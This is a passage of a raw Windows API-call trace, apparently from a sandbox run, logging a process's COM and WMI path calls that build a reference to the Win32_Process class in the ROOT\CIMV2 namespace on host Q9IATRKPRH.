pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0074.442] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0074.442] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0074.442] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0074.442] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0074.442] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0074.442] IUnknown:Release (This=0x111f638) returned 0x1 [0074.444] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf64060) returned 0x0 [0074.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf64060, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0074.444] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf64060, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6ea20) returned 0x0 [0074.444] WbemDefPath:IUnknown:Release (This=0x1bf64060) returned 0x0 [0074.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ea20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6ea20) returned 0x0 [0074.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ea20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0074.445] WbemDefPath:IUnknown:AddRef (This=0x1bf6ea20) returned 0x3 [0074.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ea20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0074.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ea20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0074.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ea20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf640a0) returned 0x0 [0074.445] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf640a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.445] WbemDefPath:IUnknown:Release (This=0x1bf640a0) returned 0x3 [0074.445] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0074.445] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0074.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ea20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0074.445] WbemDefPath:IUnknown:Release (This=0x1bf6ea20) returned 0x2 [0074.445] WbemDefPath:IUnknown:Release (This=0x1bf6ea20) returned 0x1 [0074.445] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0074.445] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0074.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6ea20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6ea20) returned 0x0 [0074.445] WbemDefPath:IUnknown:AddRef (This=0x1bf6ea20) returned 0x3 [0074.445] WbemDefPath:IUnknown:Release (This=0x1bf6ea20) returned 0x2 [0074.445] WbemDefPath:IWbemPath:SetText (This=0x1bf6ea20, uMode=0x4, pszPath="") returned 0x0 [0074.445] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0074.445] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0074.445] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0074.445] IUnknown:Release (This=0x111f638) returned 0x1 [0074.447] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf64060) returned 0x0 [0074.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf64060, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0074.447] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf64060, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6eae0) returned 0x0 [0074.447] WbemDefPath:IUnknown:Release (This=0x1bf64060) returned 0x0 [0074.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eae0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6eae0) returned 0x0 [0074.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eae0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0074.448] WbemDefPath:IUnknown:AddRef (This=0x1bf6eae0) returned 0x3 [0074.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eae0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0074.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eae0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0074.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eae0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf640e0) returned 0x0 [0074.448] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf640e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.448] WbemDefPath:IUnknown:Release (This=0x1bf640e0) returned 0x3 [0074.448] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0074.448] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0074.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eae0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0074.448] WbemDefPath:IUnknown:Release (This=0x1bf6eae0) returned 0x2 [0074.448] WbemDefPath:IUnknown:Release (This=0x1bf6eae0) returned 0x1 [0074.448] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0074.448] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0074.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eae0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6eae0) returned 0x0 [0074.448] WbemDefPath:IUnknown:AddRef (This=0x1bf6eae0) returned 0x3 [0074.448] WbemDefPath:IUnknown:Release (This=0x1bf6eae0) returned 0x2 [0074.448] WbemDefPath:IWbemPath:SetText (This=0x1bf6eae0, uMode=0x4, pszPath="") returned 0x0 [0074.448] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eae0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0074.448] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ea20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0074.448] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf6eae0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0074.448] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6eae0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0074.448] WbemDefPath:IWbemPath:SetServer (This=0x1bf6eae0, Name="Q9IATRKPRH") returned 0x0 [0074.448] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0074.449] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0074.449] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0074.449] IUnknown:Release (This=0x111f638) returned 0x1 [0074.450] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf64100) returned 0x0 [0074.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf64100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0074.450] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf64100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6eba0) returned 0x0 [0074.450] WbemDefPath:IUnknown:Release (This=0x1bf64100) returned 0x0 [0074.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eba0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6eba0) returned 0x0 [0074.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eba0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0074.451] WbemDefPath:IUnknown:AddRef (This=0x1bf6eba0) returned 0x3 [0074.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eba0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0074.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eba0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0074.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eba0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf64140) returned 0x0 [0074.451] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf64140, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.451] WbemDefPath:IUnknown:Release (This=0x1bf64140) returned 0x3 [0074.451] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0074.451] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0074.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eba0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0074.451] WbemDefPath:IUnknown:Release (This=0x1bf6eba0) returned 0x2 [0074.451] WbemDefPath:IUnknown:Release (This=0x1bf6eba0) returned 0x1 [0074.451] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0074.451] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0074.451] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6eba0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6eba0) returned 0x0 [0074.451] WbemDefPath:IUnknown:AddRef (This=0x1bf6eba0) returned 0x3 [0074.451] WbemDefPath:IUnknown:Release (This=0x1bf6eba0) returned 0x2 [0074.452] WbemDefPath:IWbemPath:SetText (This=0x1bf6eba0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eae0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eba0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eba0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eba0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0074.452] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf6eae0) returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eba0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6eba0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6eba0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0074.452] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6eae0, uIndex=0x0, pszName="ROOT") returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6eba0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6eba0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0074.452] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6eae0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0074.452] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf6eae0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0074.453] WbemDefPath:IWbemPath:SetClassName (This=0x1bf6eae0, Name="Win32_Process") returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6eae0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eae0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eae0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eae0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6eae0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6eae0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eae0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eae0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e8a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eae0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0074.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6eae0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0074.453] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0074.454] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0074.454] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0074.454] IUnknown:Release (This=0x111f638) returned 0x1 [0074.455] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: 